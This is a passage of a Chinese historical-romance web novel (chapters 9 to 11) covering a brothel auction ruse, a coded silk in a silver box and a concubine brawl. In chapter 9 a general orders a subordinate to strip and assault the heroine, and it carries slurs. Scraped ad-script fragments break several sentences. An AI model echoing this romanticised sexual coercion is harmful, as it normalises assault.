先是段公子恶意竞拍,抬高价格,哄骗人跟拍。中途突然退出,害他白白付出二千白银。 又有花娘同恩客曲意逢迎,暗昧勾引。待鱼咬钩,来一出真正的“仙人跳”,榨取更多钱财。 没错,就是这样一位蛇蝎美人。 假如一开始,他是抱着报复纳征被戏耍的心情,想要看她出尽洋相,那么当前一刻,他已彻底放弃这种小儿心思。 他要让她,打从心眼里,后悔招惹他。 男人站起身,负手冷笑道:“少跟我套近乎,本将军初登贵宝殿,根本不认识你这号人物。” 堂内无端掀起阵阵阴风,撩动细长深邃眼角,蓦然杀气棱棱。 轮到苏绾愣神,拿不准对方葫芦里卖什么药,不至于睁眼瞎到看不出她是谁。 苏绾上前一步,距离时枫一丈远,障袂赔笑:“方才我不过跟将军开个小玩笑,见谅。您大人有大量,不必同小女子计较。至于奴家为何在此,还请将军听我细细道来……” “不必。”男人不耐烦摆摆手。 他居高临下觑着她,声音冰冷而遥远,“买宝蟾姑娘花费两千两,是时候兑现交易。” 这家伙竟然还在玩角色扮演游戏,嫖客妓女戏码这么吸引人吗? 苏绾不自然地低下头,“时将军,奴家并非有意骗你,实是有难言之隐。” 她试图解释当前混乱尴尬局面,但很显然,对方并没耐心听下去。 男人打了个响指,门外驻守的知事应声而入,态度恭谦拱手问道:“将军何事吩咐?” “冰山客,你买断宝蟾姑娘出台,可此去领她行房。” 9. 行房 一语既出,台下两人皆大惊失色。 苏绾自是惊吓不小,敛目嗔问:“时枫,你这话什么意思?我都说了我不是宝蟾,拍卖交易并不算数。” 时枫不予回答她,冲知事喝道:“即刻执行,不得有误。” 知事不敢回嘴,眼睛瞪溜圆。他虽不晓得发生什么变故,怎么宝蟾不是宝蟾,自己又何时成为冰山客。但他凭借多年官场打拼经验,情知唯有闭紧嘴巴方能活得长久。况且,那女子美若天仙,若能一尝芳华,这一票绝对赚大发。 知事咽了口涎水,“属下遵命。”言毕,伸出手抱苏绾往床榻上拖。 苏绾大骇,“时枫,你疯了!我可是苏家二小姐,温侍郎的未婚妻。你毁我清白,项上人头难保!” 苏二小姐与户部温侍郎的婚约,京城举城皆知。知事心内一震,手上动作慢下来。他晓得如何在官场争斗的夹缝中生存喘息。 时枫噗嗤笑道:“你说什么疯话,苏二小姐乃大家闺秀,书香门第,又怎会出现在春月坊?” 嘴角一撇,“宝蟾姑娘想赖账?本将军可不允许这种店大欺客的龌龊伎俩发生。” 男人瞥了一眼知事,“娘们唧唧磨蹭什么?撕烂她的衣服!” 知事不敢违抗指令,伸手扯弄烟云罗纱裙,嘴里小声嘀咕:“得罪了,得罪了。” 女人尖叫着,死死拽住衣襟,絮泣挣扎。 “自作自受。” 男人觑着苍白面庞,凤眸愈加晦暗,犹如一团化不开的浓墨,向内一看,掺杂五彩斑斓的罪恶。 苏绾脑中一片空白,自己竟然蠢到自投罗网,捕猎者反被野兽摁在爪下。 困兽犹斗。 手刀猛砍对方喉咙,膝盖用力向前一顶,恰击中柔软圆滚处。压在身上的沉重躯体,瞬间如虾弓反弹,“啊”的一声,嚎叫跳离弹开。 随手扯下朝云髻金簪,挥舞手中,眼眸刚毅如铁,“谁都不许碰我!” “啧。”男人冰冷的声音传入耳际,“不过人尽可夫的贱货,装什么烈女忠贞。”低下凤眸,满眼的轻蔑之色,“两千忒抬举你,至多二十。” 苏绾浑身不寒而栗,第一次感受到排山倒海般的压迫感。对方无论从体力、智慧、经验、地位,甚至气魄及胆识,皆远远完胜于她。面对这样一位强大的敌手,她渺小如芥子,简直毫无胜算。 “时将军。” 苏绾抬起洁白高傲的额首,凛然道:“奴家不为求财,自然谈不上卖身。不过是想借助将军的羽翼,庇护奴家周全。既不图财,亦不害命。你不相信我就算了,何苦为难奴家弱女子?” 不知是“庇护”还是“弱女子”字眼,触了时枫的霉头,令他忍不住凤眸一凛,低头琢磨怎样回怼她。 然而苏绾没给他插嘴机会,“今日之事,全属误会。我只想拿回我娘的遗物,就是你竞拍到手的银盒。你把它还给我,从此我们再无瓜葛。” 她将事情经过,隐去九香身世部分,原原本本解释给时枫,包括她如何扮作段公子,又如何诳得宝蟾。言辞凿凿,并无半点虚假造作。 一切尽在时枫掌握之中,他早已猜透这局“仙人跳”本质,对苏绾所言只为拿到银盒,一字不信。 “满口胡言乱语,你设计陷阱企图敲诈勒索,本将军暂不深究。你冒充花娘诓骗朝廷命官,按我大熹律法,其罪当诛。” 男人抬起头,嘴角挂着意味不明的笑意,仿佛期待一场好戏上演。 按律当诛。 上一世熟悉话语,反复游荡耳际:“斩发如斩首”,二者竟有异曲同工之妙。 “时枫,你我之间恩怨,于公于私都是误会,冤家宜解不宜结,何必非要斩尽杀绝?”苏绾悲戚道。 男人却丝毫不买账,掀眸凉凉睇她,“废话少说,谁让你招惹了我。你的死期到了,苏绾。” 转身命令知事:“死未?没死起来,绑了这贱女人。” 知事从地上挣扎爬起身,双手捂住裆部,扭扭捏捏向她奔来。 情势万分紧急。 当当当—— 电光火石之间,忽然响起叩门声,震得屋内一众人等措手不及。 “请问,冰山公子在否?妾宝蟾前来侍寝。” 糟糕,真宝蟾驾到!偏偏在这节骨眼上。 抓捕三哥通敌叛国证据,宝蟾是重要的切入点,这份恩客□□的戏码,必须唱罢全场。 时枫睨了一眼苏绾,恨得咬牙切齿。还未叫她痛哭流涕,跪地求饶,这场“以牙还牙”的戏码,未唱足泰半,不得不偃旗息鼓。 也罢,抓回去慢慢羞辱她,不怕她再耍花样。 男人沉声吩咐:“我先办正事,你将此女押送刑部衙门,对外莫要声张。” 知事捂着□□,跳脚应道:“遵命。” 苏绾站在一旁,竖着耳朵偷听。所谓“正事”,难道是指嫖妓□□? 机不可失,时不再来,苏绾当下决定模仿时枫口气,大呼一声:“进来。” 在场人无不莫名惊诧,空气瞬间凝滞。 然而时枫震惊之余,十分清醒。疯婆娘故技重施,施展口技破坏任务。 “他娘的。” 顾不得许多,他一脚踩着塌床,弹簧般蹭的跃起,飞身扑向苏绾。 眼前黑影一闪,苏绾迅速反应,身体一侧,屈身跪伏地面,埋首藏进臂弯。 结果,时枫不偏不倚,正落向苏绾后背,重重压在身上,惊得佳人贝齿紧咬,低低呻吟:“啊……” 那一点浅音呻吟,落入时枫的耳际,变成蛊惑他的证据。 “小婊子,敢坏我好事。” 男人寒眸一沉,遽然抬起手刀,欲从后颈劈晕她。 手起刀落之瞬,忽然脑中灵光一闪,千丝万缕记忆展开画卷,梦中场景再现:柔弱佳人乌发凌乱,浑身淋漓湿透,苦楚眼眸万念俱灰。 耳畔低吟缭绕:“我这样的人......不干净。” 突然自心底莫名滋生一丝怜悯,顺着心脉缠缠绕绕,蔓延爬向粗壮手臂。 扬起的手刀,犹豫未曾放下。 电光火石之际,苏绾果断抓住间隙,趁机模仿时枫的声音,怒吼道:“怎还不进!” 所有事情仅发生于瞬间,一起一落,一刹那,电闪雷鸣。 惊天霹雳自头顶灌入,时枫方才清醒回神,恨不得一掌劈死她,然已晚矣。 门外宝蟾本欲保持矜持,想着不能急吼吼进门,忒掉价。忸怩拿把的工夫,客人已然等不及发脾气。 “妾来了。”宝蟾不敢拖沓,酥手推开房门。 桄榔。 伴随浓郁香风,朱门轻启。 逡巡四周,映入眼帘,一男一女,一上一下,姿势暧昧且不雅观。 噫,竟有同行截胡,岂有此理! 宝蟾柳眉倒竖,当即撂下脸子,“公子若无暇,妾先出去饮碗凉茶候着。”说完, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 捉裙旋身就要走。 “请等一下。”忽然下面女子唤她。 宝蟾停住脚步,回眸望去。 “起开。”女子嗔目咬唇,厌恶地拱开男人,“你那么重,压得人家好疼。” 男人似有些错愕,但也未加阻拦,身子一侧,给女子让出腾挪空间。 她扑扑愣愣挣起身,慢条斯理整理妆容发髻,摇曳趸至跟前,叉手万福道: “问宝蟾姐姐安好,怎得来了就要走?这屋子里也是有茶喝的。” 对方态度恭敬,不骄不躁,全无截胡的气势。 “妹妹客气。”宝蟾暂时放下敌意,仔细端详,忽然诧异道:“这位妹妹好生眼熟,妾在哪里见过?” 女子低首障袂一笑,“妹妹与姐姐一见如故,故而看着眼熟。” 又挽着宝蟾臂弯入门,指着男人说道:“这位便是拔得头筹的冰山客,已等候姐姐多时。” 拉着宝蟾的手说:“冰山公子对姐姐一片痴心,舍重金博佳人一笑。姐姐莫要辜负公子。” 宝蟾一愣,叹女子好生大方,竟将自己的恩客转手让给别人,全无争风吃醋之心,不禁有些感动,主动邀请:“不如妹妹与我一同作陪,咱们三人举杯同醉。” “万万不可。”女子障袂羞涩道:“实不相瞒,妹妹乃‘四象馆‘的女倌,没事唱小曲陪公子解闷。今日逢姐姐喜事降临,妹妹不便打扰二位雅兴,这厢告辞了。” 宝蟾被她说得云里雾里,听她愿意主动退出,喜不自胜,连连道谢,并称改日约她吃茶游湖。 “姐姐好生照顾,我自去也。”女子拍拍她的手背,又向堂前福了一回,低头疾步向门口走去。 “慢着。”忽然二字从天而降,仿佛泰山压顶。 此刻,时枫已站起身,轻掸衣袍褶皱,黑脸负手立于堂前,全程冷眼观摩。 这疯婆娘演戏的能力令他着实佩服,竟在他眼皮子底下破局,如今还要堂而皇之开溜。只恨自己犹豫不决,当斩不斩,坏了大事。 “你一个女子,穿梭于花街柳巷,难免受歹人觊觎。我派人送你一程。” 男人吩咐尚在震惊中的知事,“将她带上我的马车。” 他还想抓她入狱。 苏绾气得脸色青白,话已说到这份上,野兽仍死咬她不放,简直丧心病狂。 她不理解,于公于私,他都不该对她如此风刀霜剑。俩人到底因何结下梁子? 管不得那许多,苏绾眼眸一沉,挡我者死。 “冰山公子。” 苏绾转过身,正对上那双阴鸷冷戾的凤眸,但她毫不畏惧,“奴家有心成全二位,以修得秦晋之好。莫要好心当成驴肝肺,辜负奴家一片好意。” 葱指捋一缕青丝至耳后,“这京城的世家权贵,上至朝廷命官,下至商贾名流,行院的花娘皆心里有数,谁也不是石头缝里蹦出来的。真要追根究底的话,小心吃不了兜着走。” 话里话外,都表明鱼死网破的决心。倘若不放过她,她就要当面拆穿他的真实身份,绥靖王世子也好,京卫指挥使也罢,总有一项让他不肯公开示人。 时枫深感对方不好惹。 男人紧咬后槽牙,负在身后的手掌僵硬弯曲,青筋暴起。 可恶。 男人终是泄了气,伸手一挥。 苏绾如获大赦,嘴角得意上扬,“奴家谢过公子。”瞥了眼案边银盒,转身化作一朵红云,缥缈浮隐。 10. 银盒 对于宝蟾来说,今日是个不同寻常的日子。 竟有恩客出两千买她,闻所未闻。要知道,她的出夜价格至多五十。 即便被“三哥”长期包养,月例也并未多出多少,因三哥为人十分小气,铁公鸡一毛不拔。 可好死不死,偏偏这节骨眼犯泻病。准是段公子的凉茶惹的祸,不该喝的,都怪自己见色起意。 虽然银子很美好,无奈心有余而力不足,这副鬼样子准保吓跑客人,反过来告她货不对板。 宝蟾摇摇晃晃自马桶起身,哆哆嗦嗦提拉绔子,跌跌撞撞来到老鸨面前,请求取消出台。 老鸨心情亦不佳,此时正被纨绔公子纠缠不休,对方非要拿一千两买断青凤,做他的春秋大梦! 宝蟾一眼认出,那位纨绔公子,不就是吏部苏郎中家的少子。 苏尽欢乃春月坊的常客,出手阔绰大方,行院的花娘几乎都被他点过桩。 他近来迷上头牌青凤,癞蛤蟆想吃天鹅肉。可惜青凤心比天高,怎可能甘心被这草包点大蜡烛。 苏尽欢疯劲上头,见老鸨死活不肯答应,干脆身子一挺,直喇喇躺倒在地,放声大哭,哭诉自己一片痴心喂了狗。 苏家在京城官场地位匪浅,又传出苏二小姐与户部温侍郎联姻,绝非行院惹得起的世家门户。这尊活菩萨,送也送不走,逼着老鸨犯头风。 宝蟾恰巧撞到刀口。 老鸨掐腰劈腿,横眉竖眼,尖嗓子道:“你这婊子,想砸我春月坊招牌?说好的拍卖送春宵,一锤子买卖,你说取消就取消?你长几个脑袋赔偿我损失?莫说两千,就是二十,你也得乖乖给老娘送上门。就是死,你须死在客人床边,没得商量!” 宝蟾吓得收声,急忙敛裾撤退。她本来自己也舍不得这笔银子,唯恐客人嫌弃她污糟,既然老鸨不同意取消,她不如顺水推舟做人情。 来回耽搁许久,好在客人尚未离开。宝蟾整理鬓发,捉裙上前叩门,心中忐忑不安。 直至进门,却撞见客人同陌生女倌纠缠,宝蟾一眼认定被人截胡,遂火力全开。 哪知女倌落落大方,无意与她争斗,甚至愿意拱手让人,她也便作罢,只是不知他俩唱得哪出戏。凭她的经验,当那女倌醋意大发,同恩客撒娇耍脾气,少不得要男人哄哄。 送走女倌,宝蟾碎步拱上前,娇声道:“这位妹妹对公子亦是一片痴情难负,回头公子送个小玩意儿,赢得佳人芳心归。” 时枫目送苏绾背影飘然离去,强忍挥拳揍人的冲动,不得不收拢心思,冷脸应对宝蟾。 “过来。” “哎!”宝蟾应声而至,然腹泻多次四肢乏力,忽而脚下一滑,软软跌进男人怀里。 时枫搂着她,好似搂着团棉花,胃里直泛恶心,他也只当是与骗子过招留下的后遗症。 一时兴起,一时兴落。 “你身体不舒服?那算了罢,我们吃茶谈天。” 宝蟾一听,正合她意。抬手擦拭额角细汗,趴在男人肩头,妩媚笑道:“公子好贴心,妾恭敬不如从命。” 一阵沁脾幽香自宝蟾身上飘出,钻进时枫鼻翼,痒痒的,让他不禁打了喷嚏。 为遮掩气味,宝蟾特意喷洒整瓶花露水,又塞了四五只香包,整个人仿佛花仙子,香气氛氲百和然。 庸俗的脂粉气息令时枫几乎要呕出来,他刻意遮掩口鼻,推开宝蟾,借故道:“抱歉,本人偶感风寒,不便亲近。” 宝蟾讪讪地从男人怀里起身,玉指拂过榻桌,桌案摆着银制珐琅盒,她在对面盘膝而坐。 “公子好眼生,从未来过我春月坊,今日作何雅兴?” 京城的世家贵族,宝蟾如数家珍。可她的簿子本,没有眼前这号人物,出手阔绰大方,且长相不俗,仪表堂堂,举手投足带着一股威严贵气。 这桩买卖,莫说赚大发,让她倒贴都愿意。 时枫离开香氛喷井,只觉神清气爽,他伸展手臂活动筋骨,凤眸睨了宝蟾一眼,又落在案上银盒,“盒子里面是什么?” 宝蟾一愣,“嫲嫲给我的,我不曾打开过。原物主貌似曾经春月坊的一位姐妹,听说她苦熬多年得以赎身,嫁给大户人家做妾,后来……” 宝蟾欲言又止。 “如何?”男人兴趣盎然。 宝蟾娥眉微蹙,“后来那姐妹背地偷汉子,被家主发现,浸猪笼溺死啦。” 男人垂下眼帘,品味其中。 宝蟾羞涩道:“我原以为此盒乃不祥之物,还跟嫲嫲抱怨她偏心。谁知竟穿针引线,牵来冰山公子。真是天赐福报。” “打开。”男人命令道。 火折子点亮烛火,拾起盒子凑近烛台,小心融化嵌合处的蜡封。 经年不开匣,盒子表面生出一层黑漆,嵌盖黏连,颇有些费事,险些折断宝蟾的一寸指甲,疼得她眼泪汪汪。 男人无动于衷,灼灼目光盯紧银盒。 宝匣敞开,内装珠玑,令人咂舌。 盒内铺满珠宝首饰,明月珰、宝石戒指、凤头金钗,暗藏数年的珠宝得以见光亮,烛光映照下,散发晶莹光彩。 宝蟾捡出一副淡水珍珠耳坠,粉色光泽柔美,质地莹润,令她爱不释手。 时枫视线扫过珠宝堆,忽然凤眸一紧,敏锐的目光落在一卷丝帛。伸手拈起丝帛展开,一张残缺不全的绣帕映入眼帘。 绣帕缺失一角,边角绣吉祥如意花纹,正中绣满一排排不知名文字,字体呈长菱形,笔画纤细均匀,似蚊似蚁。可惜缺失半边,行文明显丢失一节。 时枫捻磨绣帕,心下琢磨不定。 上面的文字,属于巴蜀都蛮族女书。几年前,他在西南边境曾经见过女书文字,写在雪花扇面,用于传递某种密语消息。 花娘怎会有这种东西? 宝蟾摇头,她从未见过此物,并打赌老鸨也不知。她很好奇,一条破烂帕子,有何贵重价值存放“百宝匣”。 她当然不知道,女书是都蛮族王室内部流通文字,传女不传男。外人皆言,都蛮族掌握巨大宝藏财富,而这笔宝藏的位置隐藏于女书文字密语。 都蛮族亦因此遭遇灭顶之灾,周边小国异族,皆对宝藏虎视眈眈,不断挑起战乱争端。 直至三十年前,“怀远大将军”率军,一举歼灭西南九溪十八洞蛮族,都蛮族宣告灭亡。 先帝对蛮族宝藏不屑一顾,“区区弹丸之地,即便铺满金砖,亦无法同我泱泱中华并论。” 至此无人再提女书,一个民族就此陨落,跌入历史深海沉沙。 银盒的主人是重点。 时枫摩挲腕间绿松石,疯婆娘费尽心思要拿到银盒,口口声声称,银盒是母亲遗物。怪不得他叫她“娼妓”,她的反应会那么坦然。她还说过,她是“娼妓生的崽子”一类话语,正好验证这一点。 贱妾庶女。 四字重若泰山压顶。 他轻轻将丝帛卷成一卷,临近末端时,忽然眼前一亮。 丝帛一角,以黑金火漆印有小小鹤首,外罩一圈黑炎。其形状大小,皆与他项上所戴玉章相符。 那是哥哥的徽记! 时枫阖合眼眸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,往事历历在目。他有一同胞哥哥,名为时樾,官至北境大将军。时樾大他八岁,长兄如父,两兄弟驰骋天下,每每相随。 然而天妒英才,两年前,时樾与匈奴大战漠北。战场风云变幻,时樾本已占尽先机,却被一道调令错误地指向深林,结果中了敌人埋伏,麾下一百八十条性命,无一生还。时樾单枪匹马杀出重围,半路荒漠,被匈奴围剿砍杀。 英雄断腕,天意难违。 时樾死得蹊跷,那道错误的调令,出自谁手,目的为何,皆为谜团。 此次时枫调任京卫指挥使,实为调查哥哥死因。他查到时樾生前曾出过几趟远门,明为拜访天下能人异士,寻找平定漠北匈奴策略,暗地却另有目的。至于是什么原因,时枫不得而知。 女书丝帛竟留有鹤首徽记,那是时樾阅卷的习惯,证明时樾曾查探过此物,后又物归原主。 女书,银盒,花娘,时樾。 千丝万缕的线索缠绕成团,唯有从疯婆娘处下手,方能探察真相。 时枫不动声色卷起丝帛,重新放入盒内,瞥了宝蟾一眼。 宝蟾见状,吐了吐舌头,乖乖卸下珍珠耳坠,一并交出凤头钗等。 “公子手气不错,依我看,匣子里的首饰起码值一千。” 时枫将银盒扣合,揣入怀里。停了一息,又掏出张银票,赤红大字写着“一千两”,麻利递给宝蟾。 “谢过公子。”宝蟾欣喜接过银票,边塞进抹胸,边嗟叹运气爆棚,碰上一尊冷面财神爷,还不要求她伺候行房。 她一时暗爽,竟忘记分寸。 “我猜猜,莫非公子想拿首饰,借花献佛,送给‘四象馆‘的女倌?” 宝蟾障袂笑道:“那女倌对公子有意,公子这般情痴,管保她回心转意。” “此物若能牵线良缘,宝蟾也算修得功德圆满,不辜负公子重金托付。” 她越说越离谱,还要坐庄凑局,约定相聚“四象馆”,三人醉卧西楼醒不记。 “公子,你说这样安排可好?”佳人双眸充满期待,为自己能做一朵解语花,感到兴奋与悸动。 男人低首沉寂一阵,思绪堕入记忆沧海。马车内的暗昧,雪白的臂膀,肌肤间亲密接触,丝丝缕缕酥麻,尽汇入脑海细浪翻腾。 良久。 突然一声不吭站起身,胡乱整理衣袍,刻意遮掩某些部位,头也不回趸出门去。 急得门外守候的知事叫道:“慢走慢走,爷办完事没?” “改日再叙。” 男人阵风般离开,留下宝蟾莫名惊诧,难道她说错话? 正欲追出询问,忽然听见老鸨隔房叫她,“死丫头,你过来。” 宝蟾问道:“嫲嫲何事叫我?” 老鸨掐腰道:“雅间的银子已到手,你还追他干啥?快来帮我忙,将苏郎中的孽子打发送走,回头我补你一百两辛苦钱。” 宝蟾一听,喜不自胜,今日不知中得什么上上签,财运亨通。除去行院规矩五五分账,里外里她净赚两千一百,真是做梦都会笑醒。 这可比跟着三哥胡混吃香多了,哼,那只铁公鸡,想起来就可恨,骗吃骗喝占她便宜,巴不得他倒霉到家赶紧垮掉。 小小四品佥事,一毛不拔,救命之恩抛诸脑后。当年还不是多亏她拉着他吃花酒,他才没赶上锦衣卫血洗京卫,保住一条小命。 哼,三哥干得那些勾当,她可全记着呢。再不给她甜头吃,她就把他的罪证卖给黑市,兴许还有笔赚头。 宝蟾按了按抹胸内塞着的银票,勾了勾粉红薄唇。 11. 小妾 苏绾出得春月坊,叫了一顶轿子急急回到苏府。彼时已近黄昏时分,她本打算从偏门悄悄进入后院,无奈却被看门的刘嬷嬷逮个正着。 刘嬷嬷四十出头,褶皱聚集成团,彼此难舍难分。她握着两手,尖着嗓子道:“二小姐这是自何处归来?怎么正门不走,偏要走下人的门?” “二小姐这般不懂规矩,老奴少不得禀告夫人,请她老人家亲自裁断。” 这刘嬷嬷平生嗜赌,贪婪成性,时常揪住丫鬟小厮把柄,借机敲诈勒索。 苏绾知道她的脾性,自荷包里掏出那张春月坊竞拍得来的二十两银票,囫囵塞进她手里,“小小心意,嬷嬷辛苦。” 刘嬷嬷老眼一亮,满脸褶皱骤然绽放,“老奴说什么来着?二小姐是个有心的,最懂得体贴照顾人。” 苏绾垂眸道:“嬷嬷莫要客气,孝敬老人应当的。”停了一息,“夫人现在何处?我去参拜晚安。” 刘嬷嬷折叠银票,掖进袖管,打定主意赌坊干通宵,讨好道:“别说老奴不提醒二小姐,夫人才接新姨娘进门,二小姐还是别去撞刀口的好。” 苏绾惊诧道:“哪里来的新姨娘?” 刘嬷嬷瞥一眼厅堂方向,手搭嘴边悄声道:“还不就是老爷通州新娶的外室,姓陶名唤芸娘,芳龄十八,来时还抱着奶孩儿呢。那新姨娘粗人粗语,夫人嫌她不讲规矩,正在厅堂训话。” 苏绾心神一颤,敢情稍早时刻,苏夫人对苏尽欢宠溺大方,有求必应,原是想打发掉逆子,暗自迎娶小妾进门。 她前世被温如初掳进皇宫,再未有机会回苏家。后闻得苏君识将外室强娶进门,对其宠爱有加。小妾性格泼辣,恃宠而骄,常与苏夫人争口舌是非。彼时殷潜官败,殷家式微,苏夫人倚靠尽失,寒蝉仗马,竟不敢与小妾为难。 然耳食之论,不足为信。此事毕竟因她而起,若非之前苏绾不为报复苏君识,逞一时嘴快,泄露外室身份秘密,芸娘也不至于被苏夫人挟持进门。 苏绾娥眉沉了沉,“我跟住持求了佛经,祈求家业兴旺,阖家安康。住持讲,须用硬黄茧纸誊录,还要家主亲自盖印,方显诚意灵验。我去同母亲商量一下。” 近二年来,苏绾受温如初影响,常常拜谒寺庙住持,偶尔抄些佛经。她既如此说,刘嬷嬷懒得同她拉扯,遂领苏绾去厅堂问候。 苏绾进入厅堂一看,苏夫人侧坐太师椅,手搭扶手,嗔目切齿,满脸怒容。 一旁苏君识耷拉眉毛,苦苦哀求:“夫人息怒。芸娘是急性子,但她心地纯良,无心顶撞夫人,不要跟她置气罢。” 苏夫人怒道:“你还敢护着这个小妖精。我是为她好,想着她孤儿寡母住通州那么偏僻地界,怪可怜见的,巴巴地红轿子接来给你做填房。孰料竟接回通天小霸王,一进门使脸子给我看,两句话不和破口大骂,敢情我请回来个祖宗。” 堂前站着位妙龄少女,脸上带着淡淡的妆容,眉眼高挺,算得上标致美人儿。一袭青色罗裙勾勒完美曲线,衣裾摇曳,露出一截金色绣花下摆,微光闪烁。似一朵路边常见的野雏菊,散发出狂妄不羁的野性气息。 芸娘掐腰骂道:“臊你娘的,来时狗婆子可不是这么跟我说话的,她讲我入了苏家宅门,就是少奶奶,住独栋宅院,出入有下人伺候。结果呢?竟然让我住厢房,跟下人住一起。瞎了你的狗眼,我可不是家养的丫头,姑奶奶是良籍!” 一番叫骂令苏夫人脸面挂不住,拍击太师椅扶手,命令道:“谁给你的胆子,叫你这般大呼小叫。来人呐,给我扇二十耳光,看你再敢逞能。” 立刻走上来个婆子,抡圆手臂呼巴掌。 谁知芸娘轻轻一侧,婆子巴掌扑了空,身体却被这股劲带动转了半圈,差点跌个趔趄。 婆子事没成,讪笑着点头:“老奴手滑了。”转身又举着双手来一招“饿虎扑食”。 芸娘果断伸出双臂,稳稳抵挡左右攻击,用力伸展推开婆子两手。趁婆子分身之际,两手伸开五指,左右开弓,啪啪两声,结结实实甩了婆子两耳光,疼得婆子捂脸蹲地哭嚎。 新姨娘竟是个练家子! 苏夫人大吃一惊,不信这个邪,指挥另外俩婆子:“你们一起上。” 俩婆子应声,互相使了个眼色,左右分两路攻击,一人拉扯芸娘一条手臂,欲强掰至后背束手就擒。 芸娘一眼看穿套路,两臂伸展,拽着二婆子,兜转两圈,再顺手撒开。 二婆子好像脱离扁担的两只木桶,被甩离出去,咕噜噜,跌跌撞撞,一个撞到门柱,一个滚向桌底,哎哟哎哟喊疼。 “老鸡婆,还想动姑奶奶一根汗毛?做你的晴天白日梦。” 芸娘“哼”得一声,甩甩被婆子弄脏的手。她梗着脖颈,摆出乡下农妇泼辣本色,村话连篇,直骂得屋里众人低首觑笑。 新姨娘功夫了得,众人啧啧称奇,议论纷纷。 苏绾躲在人群后面,看得胆战心惊。那几个挨揍的婆子,全部亲手掌掴过小时候的苏绾,如今被人揍得嗷嗷喊娘,苏绾心里暗自苏爽,不禁佩服芸娘的勇敢,然而又为她的前途担忧。 苏夫人马失前蹄,竟被小妾压过一头,气得浑身颤抖,指头戳骂:“反了,反了。来人,快来人帮忙,劈柴的,遛马的,所有力气大的男丁,通通给我一起上!” 登时窜上前七八个人,张牙舞爪向芸娘袭来。 芸娘不过会点皮毛,对付婆子绰绰有余,跟身高马大的家丁对抗,终是心有余而力不足。三五回合之下,芸娘被人掣住手臂,跪伏地面不得动弹。 眼见对方被擒,苏夫人丹凤眼乜斜,得意道:“你怎不逞能了?不是挺能打的么?这会子可有话说?给你脸不要脸。” “我苏家焉得受泼妇侮辱玷污,将她捆了丢进地窖,没有我的允许,谁都不许放她出来。” 地窖乃北方人家贮存蔬果之地,阴冷潮湿,虫蚁横行,常人挨不过半日,何况妙龄女子,三日必死无疑。 芸娘叫道:“郎君,你说句话啊,就眼睁睁看着妾任人欺负?” “芸娘……哎呦,夫人……” 苏君识额间挂满汗珠,急得像热锅上的蚂蚁,他既心疼芸娘受罚,又不敢得罪苏夫人,杵在太师椅,如芒刺在背,坐立不安。 芸娘骂道:“好你个狠心的男人,竟被这母老虎拿捏不放。你不为我着想,也要为你襁褓中的儿子想一想。我若被人治死,谁来庇护你的骨肉血脉!” 一席话戳中苏绾痛处,她的娘亲当初被强娶进门,遇见的是同样的豺狼虎豹当道。可惜她娘不懂得为自己反抗争取,只一味地认命,终落得客死异乡。 没用的,苏君识靠不住。 哪知苏君识耸了耸肩膀,却是突然站起身,眉毛一横,似乎豁出去了,喝令小厮:“住手!” 一声令下,众人皆诧异。 “耳朵聋了?给我滚,都给我滚出去!” 家主发怒,唬得家丁们赶紧放开压制芸娘,麻溜地退下。 苏夫人脸青一阵白一阵,十分难看,她拍了拍太师椅扶手,道:“老爷这是什么意思?怪我以大欺小了不是?” 眼前苏君识竟肯站出来,替芸娘说话,反抗苏夫人,实是罕见。苏绾眼珠转了转,上前叉手拜揖:“父亲才刚纳姨娘为妾,母亲转眼惩罚她,闹出人命来,于苏家口碑不利。父亲此举,也是为苏家前程着想。” 苏夫人正在气头上,不禁迁怒道:“这里哪有你说话的份儿?不过一偏房小妾,说白了就是个贱婢,竟敢当面顶撞正头夫人。我罚她都算轻的,就是治死了,”瞥了一眼苏君识,“凭他们告到县衙门,看能拿我怎样。” “人言可畏,母亲自然不怕。只怕姨娘一时想不开,寻了短见。官府里着人来问,又要掉入说不清道不明的混乱局面,治苏家强取豪夺、逼人自尽的罪名。” 苏绾垂了垂眼,幽幽道:“苏家也是有先例,早已记录在案,怕是已被官府盯上了。” 苏夫人脸色微变,她深深明白苏绾话中有话,分明是在提点她多年前苏绾亲娘事件。 此番又不比之前,苏夫人当年瞒天过海,平白捏造罪名,诬陷苏绾亲娘九香出卖色相,勾引所谓的“恩客”,将她沉塘溺死。事后苏家为掩盖罪行,重金贿赂捕快、县官一干人等,因九香乃贱籍,草草判了畏罪自尽了事。苏夫人下了死命令,苏家阖府上下,从此无人敢提。 苏夫人恨得咬牙切齿,“你还敢叫我母亲?胳膊肘儿往外拐。你既有心护她,你来替她分担处罚,掌嘴二十。你若不肯答应,她便要住地窖去。” “母亲,”苏绾娥眉一挺,“过几日温侍郎上门探望,见我脸肿,女儿如何回答?倘若惹恼温侍郎,母亲可还担待得起。” 苏温两家联姻,乃由哥哥殷潜保媒,当今圣上金口御赐。苏夫人尚惧温如初三分——不为别的,不好同哥哥殷潜交代。 苏夫人本意借着惩治小妾顶嘴的名头,将其关进地窖折磨致死,神不知鬼不觉,就是府尹亲自过审,苏夫人也能独善其身。只恨苏绾半路拦截,打乱她的算盘。如今她反被苏绾拿捏,吃了哑巴亏不说,竟不能处罚她。一口闷气堵在怀,恨不得杀人放火。 然苏夫人碍于颜面,咬牙硬撑,“你吓唬谁呢?温家绝非不讲道理,胡搅蛮缠之流。我怎就得罪不起?就是捅到天上去,我苏殷氏也不怕他。” 转身睨着芸娘,“她肯替你求情,算你逃过一劫。从今往后,你须得安分守己,老老实实伺候老爷,倘若嘴巴再不干净,口无遮拦,下次天王老子来,也救不得你。” “你们两个,没有我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的准许,今后不得随意出门,晨昏定省须做足,不得有误。倘若违反规矩,祠堂跪拜七日,家法伺候。” 苏夫人下了死命令,众人低首不敢违抗。 忽然外面乱哄哄吵嚷,不多时,苏尽欢一身酒气被人抬进屋,看样子被宝蟾灌了不少迷魂汤。 他打了个酒嗝,饧眼望了一圈,含糊不清道:“今儿个有何喜事?家里这般热闹,怎不叫上爷我一起开心?” 苏夫人气不打一处来,满腔怒火迁怒于人,上去扇了他一巴掌,“银样镴枪头,中看不中用,这个家早晚败在你们手里。” 言毕,苏夫人愤愤离去。苏君识瞥一眼芸娘,犹豫一遭,终狠心跟随苏夫人的脚步。 